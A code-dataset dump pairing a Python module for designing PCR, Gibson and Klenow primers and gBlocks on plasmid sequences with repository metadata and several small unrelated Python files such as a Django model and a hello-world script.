meltingTemp(plasmid.origin[maxIndexes[0]:maxIndexes[1]])-rangeMeltTemp[1] and primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C": # if this primer has Tm closer to the preferred Tm, and has gc clamp maxIndexes = [startPF, endPF]; # store start and end positions of this primer as best if meltingTemp(primFwdSeq) < rangeMeltTemp[0] or meltingTemp(primFwdSeq) > rangeMeltTemp[2]: # if still no use startPF = maxIndexes[0]; # Fwd primer default start position endPF = maxIndexes[1]; # Fwd primer default end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence log = log + "Warning: Best fwd primer for sequence " + part.label + " under given constraints has a Tm of " + str(meltingTemp(primFwdSeq)) + "\n\n"; # give warning startPR = part.index[1] - rangeSize[1]; # Rev primer start position endPR = part.index[1]; # Rev primer end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence if meltingTemp(primRevSeq) < rangeMeltTemp[0] or meltingTemp(primFwdSeq)-meltingTemp(primRevSeq) > maxTempDif or not primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C": # if out of Tm range or no gc clamp startPR = part.index[1] - rangeSize[0]; # Smallest rev primer end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence maxIndexes = [startPR, endPR]; # store start and end positions of best primer in search range while (meltingTemp(primRevSeq) < rangeMeltTemp[0] or meltingTemp(primFwdSeq)-meltingTemp(primRevSeq) > maxTempDif or not primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C") and rangeSize[0] <= len(primRevSeq) <= rangeSize[2]: # while still no suitable Tm found o no gc clamp, and still within length parameters, startPR = startPR - 1; # shift primer start position upstream primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence if meltingTemp(primFwdSeq)-meltingTemp(primRevSeq) < meltingTemp(primFwdSeq)-meltingTemp(plasmid.origin[maxIndexes[0]:maxIndexes[1]]) and primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C": # if this primer has Tm closer to the fwd primer's, maxIndexes = [startPR, endPR]; # store start and end positions of this primer as best if meltingTemp(primRevSeq) < rangeMeltTemp[0] or meltingTemp(primRevSeq) > rangeMeltTemp[2]: # if still no use and it's the reverse primer's fault, startPR = maxIndexes[0]; # Rev primer default start position endPR = maxIndexes[1]; # Rev primer default end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence log = log + "Warning: Best rev primer for sequence " + part.label + " under given constraints has a Tm of " + str(meltingTemp(primRevSeq)) + "\n\n"; # give warning if meltingTemp(primFwdSeq)-meltingTemp(primRevSeq) > maxTempDif: # if temp difference exceeds specs startPR = maxIndexes[0]; # Rev primer default start position endPR = maxIndexes[1]; # Rev primer default end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence lastBase = len(primFwdSeq); # stores possible end points of fwd primer primFwdSeq = primFwdSeq.upper(); while meltingTemp(primFwdSeq[0:lastBase])-meltingTemp(primRevSeq) > maxTempDif and meltingTemp(primFwdSeq[0:lastBase]) > rangeMeltTemp[0] and lastBase > rangeSize[0]*2: # while T diff is still out of bounds and still within bounds of Fwd primer, lastBase -= 1; while not primFwdSeq[lastBase-1].upper().replace("G","C") == "C" and lastBase > rangeSize[0]: # find next G or C upstream lastBase -= 1; if meltingTemp(primFwdSeq[0:lastBase])-meltingTemp(primRevSeq) < maxTempDif and meltingTemp(primFwdSeq[0:lastBase]) > rangeMeltTemp[0]: # while T diff is still out of bounds and still within bounds of Fwd primer, endPF = endPF - (len(primFwdSeq)-lastBase); primFwdSeq = plasmid.origin[startPF:endPF]; else: # if temp difference still exceeds specs log = log + "Warning: Primers for sequence " + part.label + " under given constraints have a Tm difference of " + str(meltingTemp(primFwdSeq)-meltingTemp(primRevSeq)) + ", above the given threshold of " + str(maxTempDif) + "\n\n"; # give warning # if isTricky( primFwdSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Forward primer for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning # if isTricky( primRevSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Reverse primer for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning annPrimFwd = GenBankAnn(part.label + " Primer (Fwd)", "misc_feature", primFwdSeq, False, [startPF,endPF], annColors['primerColor']); # creates GenBankAnn object to hold fwd primer annPrimRev = GenBankAnn(part.label + " Primer (Rev)", "misc_feature", primRevSeq, True, [startPR,endPR], annColors['primerColor']); # creates GenBankAnn object to hold rev primer log = log + "Primers for part " + part.label + " selected.\n\n"; # logs this process finished return {"out":[annPrimFwd, annPrimRev], "log":log}; # return primer annotation objects """ Creates list with GenBankAnn objects for forward and reverse primers for obtaining part for Gibson Assembly in plasmid given. The plasmid must have the part as an annotation. rangeHom gives the length of homology on each side of the primer [min,preferred,max]. """ def createGibsonPrimers(plasmid, part, rangeHom=[30,40,50], minMeltTemp=68, maxTempDif=5): #TODO: debug. log = ""; # init log startPF = max(part.index[0] - rangeHom[1],0); # Fwd primer preferred start position endPF = min(part.index[0] + rangeHom[1],len(plasmid.origin)); # Fwd primer preferred end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence if meltingTemp(plasmid.origin[part.index[0]:endPF]) < minMeltTemp or not primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C": # if still no use startPF = max(part.index[0] - rangeHom[0],0); # Smallest fwd primer start position endPF = min(part.index[0] + rangeHom[0],len(plasmid.origin)); # Smallest fwd primer end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence maxIndexes = [startPF, endPF]; # store start and end positions of best primer in search range while (meltingTemp(plasmid.origin[part.index[0]:endPF]) < minMeltTemp or not primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C") and len(primFwdSeq) <= rangeHom[2]*2: # while still no suitable Tm found and still within length parameters, # startPF = startPF - 1; # shift primer start position upstream endPF = endPF + 1; # shift primer start position upstream primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence if (meltingTemp(plasmid.origin[part.index[0]:endPF]) > meltingTemp(plasmid.origin[part.index[0]:maxIndexes[1]]) or not plasmid.origin[maxIndexes[1]-1].upper().replace("G","C") == "C") and primFwdSeq[len(primFwdSeq)-1].upper().replace("G","C") == "C" and len(primFwdSeq) <= rangeHom[2]*2: # if this primer has higher Tm than the max or the current max has no gc clamp, and this one does have a gc clamp, and within length constraints, maxIndexes = [startPF, endPF]; # store start and end positions of this primer startPF = maxIndexes[0]; # Fwd primer default start position endPF = maxIndexes[1]; # Fwd primer default end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence if meltingTemp(plasmid.origin[part.index[0]:endPF]) < minMeltTemp: # if still no use log = log + "Warning: Best Gibson fwd primer for sequence " + part.label + " under given constraints has a Tm of " + str(meltingTemp(plasmid.origin[part.index[0]:endPF])) + ", below the given threshold of " + str(minMeltTemp) + "\n\n"; # give warning startPR = max(part.index[1] - rangeHom[1],0); # Rev primer start position endPR = min(part.index[1] + rangeHom[1],len(plasmid.origin)); # Rev primer end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence if meltingTemp(plasmid.origin[startPR:part.index[1]]) < minMeltTemp or meltingTemp(plasmid.origin[startPR:part.index[1]])-meltingTemp(plasmid.origin[startPR:part.index[1]]) > maxTempDif or not primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C": # if still no use startPR = max(part.index[1] - rangeHom[0],1); # Smallest fwd primer start position endPR = min(part.index[1] + rangeHom[0],len(plasmid.origin)); # Smallest fwd primer end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence maxIndexes = [startPR, endPR]; # store start and end positions of best primer in search range while (meltingTemp(plasmid.origin[startPR:part.index[1]]) < minMeltTemp or meltingTemp(plasmid.origin[startPR:part.index[1]])-meltingTemp(plasmid.origin[startPR:part.index[1]]) > maxTempDif or not primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C") and rangeHom[0]*2 <= len(primRevSeq) <= rangeHom[2]*2: # while still no suitable Tm found and still within length parameters, startPR = startPR - 1; # shift primer start position upstream # endPR = endPR + 1; # shift primer start position upstream primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence if meltingTemp(plasmid.origin[startPR:part.index[1]]) > meltingTemp(plasmid.origin[maxIndexes[0]:part.index[1]]) and primRevSeq[len(primRevSeq)-1].upper().replace("G","C") == "C" and rangeHom[0]*2 <= len(primRevSeq) <= rangeHom[2]*2: # if this primer has higher Tm than the max and has gc clamp and within max length, maxIndexes = [startPR, endPR]; # store start and end positions of this primer startPR = maxIndexes[0]; # Rev primer default start position endPR = maxIndexes[1]; # Rev primer default end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence if meltingTemp(plasmid.origin[startPR:part.index[1]]) < minMeltTemp: # if still no use log = log + "Warning: Best Gibson rev primer for sequence " + part.label + " under given constraints has a Tm of " + str(meltingTemp(plasmid.origin[startPR:part.index[1]])) + ", below the given threshold of " + str(minMeltTemp) + "\n\n"; # give warning elif meltingTemp(plasmid.origin[part.index[0]:endPF])-meltingTemp(plasmid.origin[startPR:part.index[1]]) > maxTempDif: # if temp difference exceeds specs startPR = maxIndexes[0]; # Rev primer default start position endPR = maxIndexes[1]; # Rev primer default end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence primFwdSeq = primFwdSeq.upper(); # to uppercase lastBase = endPF-2; # stores possible end points of fwd primer while not plasmid.origin[lastBase-1].upper().replace("G","C") == "C" and lastBase-part.index[0] > rangeHom[0]: # find next G or C upstream lastBase -= 1; while meltingTemp(plasmid.origin[part.index[0]:lastBase])-meltingTemp(plasmid.origin[startPR:part.index[1]]) > maxTempDif and meltingTemp(plasmid.origin[part.index[0]:lastBase]) > minMeltTemp and lastBase-part.index[0] > rangeHom[0]: # while T diff is still out of bounds and still within bounds of Fwd primer, lastBase -= 1; while not plasmid.origin[lastBase-1].upper().replace("G","C") == "C" and lastBase-part.index[0] > rangeHom[0]: # find next G or C upstream lastBase -= 1; if meltingTemp(plasmid.origin[part.index[0]:lastBase])-meltingTemp(plasmid.origin[startPR:part.index[1]]) < maxTempDif and meltingTemp(plasmid.origin[0:lastBase]) > minMeltTemp: # while T diff is still out of bounds and still within bounds of Fwd primer, endPF = lastBase; primFwdSeq = plasmid.origin[startPF:endPF]; else: # if temp difference still exceeds specs log = log + "Warning: Gibson primers for sequence " + part.label + " under given constraints have a Tm difference of " + str(meltingTemp(plasmid.origin[part.index[0]:endPF])-meltingTemp(plasmid.origin[startPR:part.index[1]])) + ", above the given threshold of " + str(maxTempDif) + "\n\n"; # give warning # if isTricky( primFwdSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Forward Gibson primer for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning # if isTricky( primRevSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Reverse Gibson primer for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning annPrimFwd = GenBankAnn(part.label + " Gibson Primer (Fwd)", "misc_feature", primFwdSeq, False, [startPF,endPF], annColors['primerColor']); # creates GenBankAnn object to hold fwd primer annPrimRev = GenBankAnn(part.label + " Gibson Primer (Rev)", "misc_feature", primRevSeq, True, [startPR,endPR], annColors['primerColor']); # creates GenBankAnn object to hold rev primer log = log + "Gibson primers for part " + part.label + " selected.\n\n"; # logs this process finished return {"out":[annPrimFwd, annPrimRev],"log":log}; # return list of primers """ Creates list with GenBankAnn objects for forward and reverse oligos for obtaining part for Gibson assembly in plasmid given via Klenow reaction. The plasmid must have part as an annotation. lengthHom gives the length of homology on each side of the part sequence. """ def createKlenowOligos(plasmid, part, lengthHom=40): #TODO: debug. log = ""; # init log startPF = part.index[0] - lengthHom; # Fwd primer preferred start position endPF = part.index[1]; # Fwd primer preferred end position primFwdSeq = plasmid.origin[startPF:endPF]; # Fwd primer sequence startPR = part.index[0]; # Rev primer start position endPR = part.index[1] + lengthHom; # Rev primer end position primRevSeq = revComp(plasmid.origin[startPR:endPR]); # Rev primer sequence # if isTricky( primFwdSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Forward Klenow oligo for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning # if isTricky( primRevSeq ): # true if this terminus contains homopolymers or AT repeats: # log = log + "Warning: Reverse Klenow oligo for sequence " + part.label + " may be hard to synthesize.\n\n"; # give warning annPrimFwd = GenBankAnn(part.label + " Klenow oligo (Fwd)", "misc_feature", primFwdSeq, False, [startPF,endPF], annColors['primerColor']); # creates GenBankAnn object to hold fwd primer annPrimRev = GenBankAnn(part.label + " Klenow oligo (Rev)", "misc_feature", primRevSeq, True, [startPR,endPR], annColors['primerColor']); # creates GenBankAnn object to hold rev primer log = log + "Klenow oligos for part " + part.label + " selected.\n\n"; # logs this process finished return {"out":[annPrimFwd, annPrimRev], "log":log}; # return list of primers """ Returns gBlock GenBankAnn object in plasmid given for part (a GenBankAnn object) to be synthesized and inserted via Gibson in plasmid. Will give a warning if it suspects the gBlock won't be able to be synthesized by IDT, reverse-engineering from the IDT gene synthesis webpage. """ def createGBlock(plasmid, part, overlapSize): log = ""; # init log startGBlock = part.index[0] - overlapSize; # gBlock start position endGBlock = part.index[1] + overlapSize; # gBlock end position gBlockSeq = plasmid.origin[startGBlock:endGBlock]; # gBlock sequence tricky = isTricky(gBlockSeq) > -1; # True if suspected to be hard to synthesize if tricky: # if sequence seems tricky log = log + "Warning: I suspect synthesis company might reject the gene fragment created for part \n" +part.label+ ": \n" + gBlockSeq + "\n\n"; # warn user annGBlock = GenBankAnn(part.label + " gBlock", "misc_feature", gBlockSeq, False, [startGBlock,endGBlock], annColors['gBlockColor']); # creates GenBankAnn object to hold gBlock log = log + "gBlock for part " + part.label + " selected.\n\n"; # logs this process finished return {"out":annGBlock, "log":log}; # returns annotation """ Abbreviates primer names to fit on commercial tube labels with the format: Seven Digit Gene Identifier_Oligo type_Orientation The seven digit gene identifier code follows "PF3D7_". Oligo types include: LHR (Gibson overhang PCR primers) RHR (Gibson overhang PCR primers) gRNA (Klenow oligos for gRNA sequence) gBlock (gBlock sequencing primer) RecAE (Anneal-extension oligos for recoded region, if the region is small enough) Orientation refers to forward (F) and reverse (R) primers. """ def shortenOligoNames(primerString,prefix): mat = primerString.split("\n"); # split string into lines mat = [l.split(",") for l in mat]; # split lines into cells. mat is now 2D array for primer in mat: # iterates across all primers (rows in array) name = primer[0][len(prefix):]; # gets primer name if name[0:6] == "PF3D7_": # if primer format start is correct newName = name[6:13] + "_"; # Adds numerical identifier to new name # Add oligo type to new name: if name.find("Recoded region") > -1: newName = newName + "RecR" + "_"; elif name.find("LHR") > -1: newName = newName + "LHR" + "_"; elif name.find("RHR") > -1: newName = newName + "RHR" + "_"; elif name.find("sgRNA cassette") > -1: newName = newName + "gRNAgB" + "_"; elif name.find("gRNA") > -1: newName = newName + "gRNAAE" + "_"; elif name.find("Recoded region Klenow") > -1: newName = newName + "RecAE" + "_"; # Add oligo orientation if name.find("fwd") > -1: newName = newName + "F"; elif name.find("rev") > -1: newName = newName + "R"; primer[0] = prefix + newName; # replace name mat = [",".join(l) for l in mat]; # join cells into lines outStr = "\n".join(mat); # join lines into string return outStr;

76.196296

445

0.680552

2,684

20,573

5.209762

0.111028

0.053923

0.048058

0.016019

0.779733

0.752843

0.731889

0.701924

0.682901

0.664164

0

0.012006

0.20245

20,573

269

446

76.479554

0.8402

0.290526

0

0.380952

0

0.101568

0

0.011152

0

1

0.029762

false

0

0.02381

0

0.083333

0

null

0

1

0

1

0

null

0

1

0

5

322d6805d455b06b58ee44e9a931560a562bfef4

313

py

Python

core/models/program.py

CodeForPhilly/prevention-point

f5dfa136d192f96f859351a6a2ebd28618d6a093

[ "MIT" ]

35

2019-03-12T23:59:10.000Z

2021-04-05T15:07:38.000Z

core/models/program.py

CodeForPhilly/prevention-point

f5dfa136d192f96f859351a6a2ebd28618d6a093

[ "MIT" ]

365

2019-03-12T23:40:39.000Z

2022-02-10T11:07:26.000Z

core/models/program.py

CodeForPhilly/prevention-point

f5dfa136d192f96f859351a6a2ebd28618d6a093

[ "MIT" ]

20

2019-03-12T23:36:25.000Z

2021-12-30T00:05:42.000Z

from django.db import models class Program(models.Model): name = models.CharField(max_length=100) is_closed = models.BooleanField(default=False) is_frozen = models.BooleanField(default=False) has_queue = models.BooleanField(default=True) def __str__(self): return '%s' % (self.name)

28.454545

50

0.715655

40

313

5.4

0.675

0.25

0.347222

0.277778

0

0.011583

0.172524

313

10

51

31.3

0.822394

0

0.00639

0

1

0.125

false

0

0.125

1

0

null

1

0

null

0

1

0

5

323c22847f3c8c3dad9dc0a311f4006ab6fab541

17

py

Python

thonny/test/plugins/__init__.py

shreyas202/thonny

ef894c359200b0591cf98451907243395b817c63

[ "MIT" ]

3

2019-05-08T16:12:07.000Z

2019-09-04T20:13:46.000Z

Thonny/Lib/site-packages/thonny/test/plugins/__init__.py

Pydiderot/pydiderotIDE

a42fcde3ea837ae40c957469f5d87427e8ce46d3

[ "MIT" ]

30

2019-01-04T10:14:56.000Z

2020-10-12T14:00:31.000Z

Thonny/Lib/site-packages/thonny/test/plugins/__init__.py

Pydiderot/pydiderotIDE

a42fcde3ea837ae40c957469f5d87427e8ce46d3

[ "MIT" ]

6

2018-04-28T11:33:56.000Z

2022-03-06T15:36:52.000Z

# package marker

8.5

16

0.764706

2

17

6.5

1

0

0.176471

17

1

17

0.928571

0.823529

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

5

32414c9a3af92a10efeb2af729ad876634d6ba35

39

py

Python

project/root/__init__.py

renanlage/flask-boilerplate

1b0d4297d8bcdd2722a6c6365582f8e5f8c5dfe2

[ "MIT" ]

null

project/root/__init__.py

renanlage/flask-boilerplate

1b0d4297d8bcdd2722a6c6365582f8e5f8c5dfe2

[ "MIT" ]

null

project/root/__init__.py

renanlage/flask-boilerplate

1b0d4297d8bcdd2722a6c6365582f8e5f8c5dfe2

[ "MIT" ]

null

from project.root.views import root_bp

19.5

38

0.846154

7

39

4.571429

0.857143

0

0.102564

39

1

39

0.914286

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

3271284d477cfe4fb4a9c521603a9a112ea4c4bb

181

py

Python

src/contra_goapp/maindrive.py

OrdoD/ContraGO2021

7e739880278900675f9b51b9bfe2c7edf1681bb0

[ "MIT" ]

null

src/contra_goapp/maindrive.py

OrdoD/ContraGO2021

7e739880278900675f9b51b9bfe2c7edf1681bb0

[ "MIT" ]

null

src/contra_goapp/maindrive.py

OrdoD/ContraGO2021

7e739880278900675f9b51b9bfe2c7edf1681bb0

[ "MIT" ]

null

import contra_goapp.CONTRAGO_GUI.contra_go_log_in_GUI def main(): contra_goapp.CONTRAGO_GUI.contra_go_log_in_GUI.contrago_log_in() if __name__ == "__main__": main()

22.625

69

0.762431

28

181

4.142857

0.428571

0.12931

0.327586

0.37931

0.655172

0

0.143646

181

7

70

25.857143

0.748387

0

0.044199

0

1

0.2

true

0

0.2

0

0.4

0

1

0

null

0

1

0

1

0

null

0

1

0

5

3277642f821b7f1605ff063980b49d0873489f58

13

py

Python

Basic/dic_and_set.py

CrazyBBer/Python-Learn-Sample

3bd0694327db6c662c6cc3bdf91c6261daa4b6cf

[ "MIT" ]

2

2020-05-02T11:24:37.000Z

2020-05-02T13:49:18.000Z

Basic/dic_and_set.py

crazybber/pythontrip

062ba71dfe6729ecc606eff7260b1c39497b6456

[ "MIT" ]

null

Basic/dic_and_set.py

crazybber/pythontrip

062ba71dfe6729ecc606eff7260b1c39497b6456

[ "MIT" ]

null

#dic and set

6.5

12

0.692308

3

13

3

1

0

0.230769

13

1

13

0.9

0.846154

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

5

32a3a201db693dc0b60f15586e86b7a0cc0f936a

63

py

Python

code/hello-world-norwegian.py

nyamako/hacktoberfest-2018

bf7939d4b0cfb57a854a1644dbbae7ddf8af3c4f

[ "MIT" ]

67

2018-09-25T21:37:23.000Z

2020-11-03T02:03:22.000Z

code/hello-world-norwegian.py

nyamako/hacktoberfest-2018

bf7939d4b0cfb57a854a1644dbbae7ddf8af3c4f

[ "MIT" ]

245

2018-09-18T10:07:28.000Z

2020-09-30T19:00:11.000Z

code/hello-world-norwegian.py

nyamako/hacktoberfest-2018

bf7939d4b0cfb57a854a1644dbbae7ddf8af3c4f

[ "MIT" ]

1,192

2018-09-18T11:27:55.000Z

2021-10-17T10:24:37.000Z

print('Hei, verden') print('It is "Hello world" in norwegian')

21

41

0.698413

10

63

4.4

0.9

0

0.126984

63

2

42

31.5

0.8

0

0.68254

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

32ac3d420eef9eab27ece715852e1bb68af5505a

40

py

Python

homeassistant/components/ws980wifi/__init__.py

eXtgmA/core

58e8e88225a2e5268ddddfaa93c41e8b92e9480e

[ "Apache-2.0" ]

null

homeassistant/components/ws980wifi/__init__.py

eXtgmA/core

58e8e88225a2e5268ddddfaa93c41e8b92e9480e

[ "Apache-2.0" ]

null

homeassistant/components/ws980wifi/__init__.py

eXtgmA/core

58e8e88225a2e5268ddddfaa93c41e8b92e9480e

[ "Apache-2.0" ]

null

"""The WS980WiFi sensor integration."""

20

39

0.725

4

40

7.25

1

0

0.083333

0.1

40

1

40

0.722222

0.825

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

5

0885c85ecc0170f53f4042f6e822f3a9d0d8632f

216

py

Python

stable_nalu/functional/golden_ratio_base.py

bmistry4/nalm-benchmark

273c95cc75241f56e48bcd0b18b043969ef82004

[ "MIT" ]

null

stable_nalu/functional/golden_ratio_base.py

bmistry4/nalm-benchmark

273c95cc75241f56e48bcd0b18b043969ef82004

[ "MIT" ]

null

stable_nalu/functional/golden_ratio_base.py

bmistry4/nalm-benchmark

273c95cc75241f56e48bcd0b18b043969ef82004

[ "MIT" ]

null

import math import torch golden_ratio = (1 + math.sqrt(5)) / 2. tanh = lambda x: (torch.pow(golden_ratio, 2 * x) - 1) / (torch.pow(golden_ratio, 2 * x) + 1) sigmoid = lambda x: 1 / (1 + torch.pow(golden_ratio, -x))

30.857143

92

0.638889

38

216

3.526316

0.368421

0.328358

0.313433

0.425373

0.477612

0.328358

0

0.050847

0.180556

216

6

93

36

0.706215

0

1

0

false

0

0.4

0

0.4

0

null

1

0

1

0

null

0

1

0

5

08abd608932b659a5491e1e71a4a114946b42c9e

214

py

Python

k_anonymity/__init__.py

yzj2019/k_anonymity

fcce9fef0e1705c7cc5d1d18083b5860dcab8551

[ "MIT" ]

5

2021-06-09T06:45:01.000Z

2021-12-14T05:41:04.000Z

k_anonymity/__init__.py

yzj2019/k_anonymity

fcce9fef0e1705c7cc5d1d18083b5860dcab8551

[ "MIT" ]

null

k_anonymity/__init__.py

yzj2019/k_anonymity

fcce9fef0e1705c7cc5d1d18083b5860dcab8551

[ "MIT" ]

null

''' k匿名两种算法的python3.6.9实现\\ 依赖：pandas、numpy\\ 实现了samarati算法、mondrian算法，并提供了加载.data数据的方法 ''' from k_anonymity.samarati import samarati from k_anonymity.mondrian import mondrian from k_anonymity.load import loaddata

23.777778

41

0.827103

28

214

6.214286

0.642857

0.086207

0.241379

0

0.015228

0.079439

214

8

42

26.75

0.86802

0.378505

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

08bb9710b615c44971fba26db8da439ab78cdc8b

95

py

Python

vk_mutual_friends_finder/__init__.py

stepuncius/vk_mutual_friends_finder

4bba576ea951deaf3faeaa96c2d4ab0d2e6bc55f

[ "BSD-2-Clause" ]

null

vk_mutual_friends_finder/__init__.py

stepuncius/vk_mutual_friends_finder

4bba576ea951deaf3faeaa96c2d4ab0d2e6bc55f

[ "BSD-2-Clause" ]

null

vk_mutual_friends_finder/__init__.py

stepuncius/vk_mutual_friends_finder

4bba576ea951deaf3faeaa96c2d4ab0d2e6bc55f

[ "BSD-2-Clause" ]

null

import friends_getter import get_names_of_users import intersect_friends import get_id_by_link

19

25

0.915789

16

95

4.9375

0.6875

0.227848

0

0.084211

95

4

26

23.75

0.908046

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5